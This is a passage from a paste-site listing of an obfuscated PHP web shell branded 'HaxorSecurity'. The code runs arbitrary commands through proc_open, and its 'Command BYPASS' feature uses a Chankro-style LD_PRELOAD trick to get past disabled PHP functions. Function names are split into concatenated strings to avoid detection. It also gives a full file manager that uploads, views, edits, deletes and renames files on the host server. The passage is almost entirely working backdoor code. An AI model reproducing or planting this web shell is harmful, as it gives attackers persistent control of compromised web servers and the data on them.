AAACYEAAAAAAAABgGAAAAAAAAGwAAAC0AAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAsBYAAAAAAABLAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAPsYAAAAAAAA9gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=';
  272. $cmdd = $_POST['cmd_input'];
  273. $meterpreter = $en($cmdd." > test.txt");
  274. $viewCommandResult = '<hr><p>Result: <font color="black">base64 : ' . $meterpreter .'</br>Please Refresh and Check File test.txt, this output command<br>test.txt created = VULN<br>test.txt not created = NOT VULN<br>example access: domain.com/yourpath/path/test.txt<br>Powered By HaxorSecurity</font><br><br></textarea>';
  275. $a($full . '/chankro.so', $base($hook));
  276. $a($full . '/acpid.socket', $base($meterpreter));
  277. $p('CHANKRO=' . $full . '/acpid.socket');
  278. $p('LD_PRELOAD=' . $full . '/chankro.so');
  279. $m('a','a','a','a');
  280. }elseif (isset($_POST['delete_file'])) {
  281. $fileToDelete = $currentDirectory . '/' . $_POST['delete_file'];
  282. if (file_exists($fileToDelete)) {
  283. if (is_dir($fileToDelete)) {
  284. if (deleteDirectory($fileToDelete)) {
  285. echo '<hr>Folder deleted successfully!';
  286. } else {
  287. echo '<hr>Error: Failed to delete folder!';
  288. }
  289. } else {
  290. if ($unl($fileToDelete)) {
  291. echo '<hr>File deleted successfully!';
  292. } else {
  293. echo '<hr>Error: Failed to delete file!';
  294. }
  295. }
  296. } else {
  297. echo '<hr>Error: File or directory not found!';
  298. }
  299. } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) {
  300. $oldName = $currentDirectory . '/' . $_POST['old_name'];
  301. $newName = $currentDirectory . '/' . $_POST['new_name'];
  302. if (file_exists($oldName)) {
  303. if (rename($oldName, $newName)) {
  304. echo '<hr>Item renamed successfully!';
  305. } else {
  306. echo '<hr>Error: Failed to rename item!';
  307. }
  308. } else {
  309. echo '<hr>Error: Item not found!';
  310. }
  311. }elseif (isset($_POST['cmd_biasa'])) {
  312. $pp = "p"."r"."o"."c"."_"."o"."p"."e"."n";
  313. $pc = "f"."c"."l"."o"."s"."e";
  314. $ppc = "p"."r"."o"."c"."_"."c"."l"."o"."s"."e";
  315. $stg = "s"."t"."r"."e"."a"."m"."_"."g"."e"."t"."_"."c"."o"."n"."t"."e"."n"."t"."s";
  316. $command = $_POST['cmd_biasa'];
  317. $descriptorspec = [
  318. 0 => ['pipe', 'r'],
  319. 1 => ['pipe', 'w'],
  320. 2 => ['pipe', 'w']
  321. ];
  322. $process = $pp($command, $descriptorspec, $pipes);
  323. if (is_resource($process)) {
  324. $output = $stg($pipes[1]);
  325. $errors = $stg($pipes[2]);
  326. $pc($pipes[1]);
  327. $pc($pipes[2]);
  328. $ppc($process);
  329. if (!empty($errors)) {
  330. $viewCommandResult = '<hr><p>Error: </p><textarea class="result-box">' . $htm($errors) . '</textarea>';
  331. } else {
  332. $viewCommandResult = '<hr><p>Result: </p><textarea class="result-box">' . $htm($output) . '</textarea>';
  333. }
  334. } else {
  335. $viewCommandResult = 'Result:</p><textarea class="result-box">Error: Failed to execute command! </textarea>';
  336. }
  337. } elseif (isset($_POST['view_file'])) {
  338. $fileToView = $currentDirectory . '/' . $_POST['view_file'];
  339. if (file_exists($fileToView)) {
  340. $fileContent = $fgc($fileToView);
  341. $viewCommandResult = '<hr><p>Result: ' . $_POST['view_file'] . '</p>
  342. <form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
  343. <textarea name="content" class="result-box">' . $htm($fileContent) . '</textarea><td>
  344. <input type="hidden" name="edit_file" value="' . $_POST['view_file'] . '">
  345. <input type="submit" value=" Save "></form></td>';
  346. } else {
  347. $viewCommandResult = '<hr><p>Error: File not found!</p>';
  348. }
  349. } elseif (isset($_POST['edit_file'])) {
  350. $ef = $currentDirectory . '/' . $_POST['edit_file'];
  351. $newContent = $_POST['content'];
  352. if ($fpc($ef, $newContent) !== false) {
  353. echo '<hr>File Edited successfully! ' . $_POST['edit_file'].'<hr>';
  354. } else {
  355. echo '<hr>Error: Failed Edit File! ' . $_POST['edit_file'].'<hr>';
  356.  
  357. }
  358. }
  359.  
  360. }
  361.  
  362. echo '<hr>DIR: ';
  363.  
  364. $directories = $expl(DIRECTORY_SEPARATOR, $currentDirectory);
  365. $currentPath = '';
  366. $homeLinkPrinted = false;
  367. foreach ($directories as $index => $dir) {
  368. $currentPath .= DIRECTORY_SEPARATOR . $dir;
  369. if ($index == 0) {
  370. echo '/<a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
  371. } else {
  372. echo '/<a href="?d=' . x($currentPath) . '">' . $dir . '</a>';
  373. }
  374. }
  375.  
  376. echo '<a href="?d=' . x($scriptDirectory) . '"> / <span style="color: green;">[ GO Home ]</span></a>';
  377. echo '<br>';
  378. echo '<hr><form method="post" enctype="multipart/form-data">';
  379. echo '<hr>';
  380. echo '<input type="file" name="fileToUpload" id="fileToUpload" placeholder="pilih file:">';
  381. echo '<input type="submit" value="Upload File" name="submit">';
  382. echo '</form><hr>';
  383. echo '<table border="5"><tbody>
  384. <tr>
  385. <td>
  386. <center>Command BYPASS<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
  387. <input type="text" name="cmd_input" placeholder="Enter command"><input type="submit" value="Run Command"></form></center></td>
  388.  
  389. <td><center>Command BIASA<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
  390. <input type="text" name="cmd_biasa" placeholder="Enter command"><input type="submit" value="Run Command"></form><center></td>
  391.  
  392. <td><center>Create Folder<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
  393. <input type="text" name="folder_name" placeholder="Folder Name"><input type="submit" value="Create Folder"></form><center></td>
  394. <td><center>Create File<form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'">
  395. <input type="text" name="file_name" placeholder="File Name"><input type="submit" value="Create File"></form></td></tr>
  396. </tbody></table>';
  397. echo $viewCommandResult;
  398. echo '<table border=1>';
  399. echo '<br><tr><th><center>Item Name</th><th><center>Size</th><th><center>Date</th><th>Permissions</th><th><center>View</th><th><center>Delete</th><th><center>Rename</th></tr></center></center></center>';
  400. foreach ($scd($currentDirectory) as $v) {
  401. $u = $ril($v);
  402. $s = $st($u);
  403. $itemLink = $isdir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v));
  404. $permission = substr(sprintf('%o', fileperms($u)), -4);
  405. $writable = $isw($u);
  406. echo '<tr>
  407. <td class="item-name"><a href="'.$itemLink.'">'.$v.'</a></td>
  408. <td class="size">'.filesize($u).'</td>
  409. <td class="date" style="text-align: center;">'.date('Y-m-d H:i:s', filemtime($u)).'</td>
  410. <td class="permission '.($writable ? 'writable' : 'not-writable').'">'.$permission.'</td>
  411. <td><center><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="view_file" value="'.$htm($v).'"><input type="submit" value=" View "></form></center></td>
  412. <td><center><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="delete_file" value="'.$htm($v).'"><input type="submit" value="Delete"></form></center></td>
  413. <td><form method="post" action="?'.(isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '').'"><input type="hidden" name="old_name" value="'.$htm($v).'"><input type="text" name="new_name" placeholder="New Name"><input type="submit" name="rename_item" value="Rename"></form></td>
  414. </tr>';
  415.  
  416. }
  417.  
  418. echo '</table>';
  419. function deleteDirectory($dir) {
  420. $unl = "u"."n"."l"."i"."n"."k";
  421. if (!file_exists($dir)) {
  422. return true;
  423. }
  424. if (!is_dir($dir)) {
  425. return $unl($dir);
  426. }
  427. $scd = "s"."c"."a"."n"."d"."i"."r";
  428. foreach ($scd($dir) as $item) {
  429. if ($item == '.' || $item == '..') {
  430. continue;
  431. }
  432. if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) {
  433. return false;
  434. }
  435. }
  436. return rmdir($dir);
  437. }
Add Comment
Please, Sign In to add comment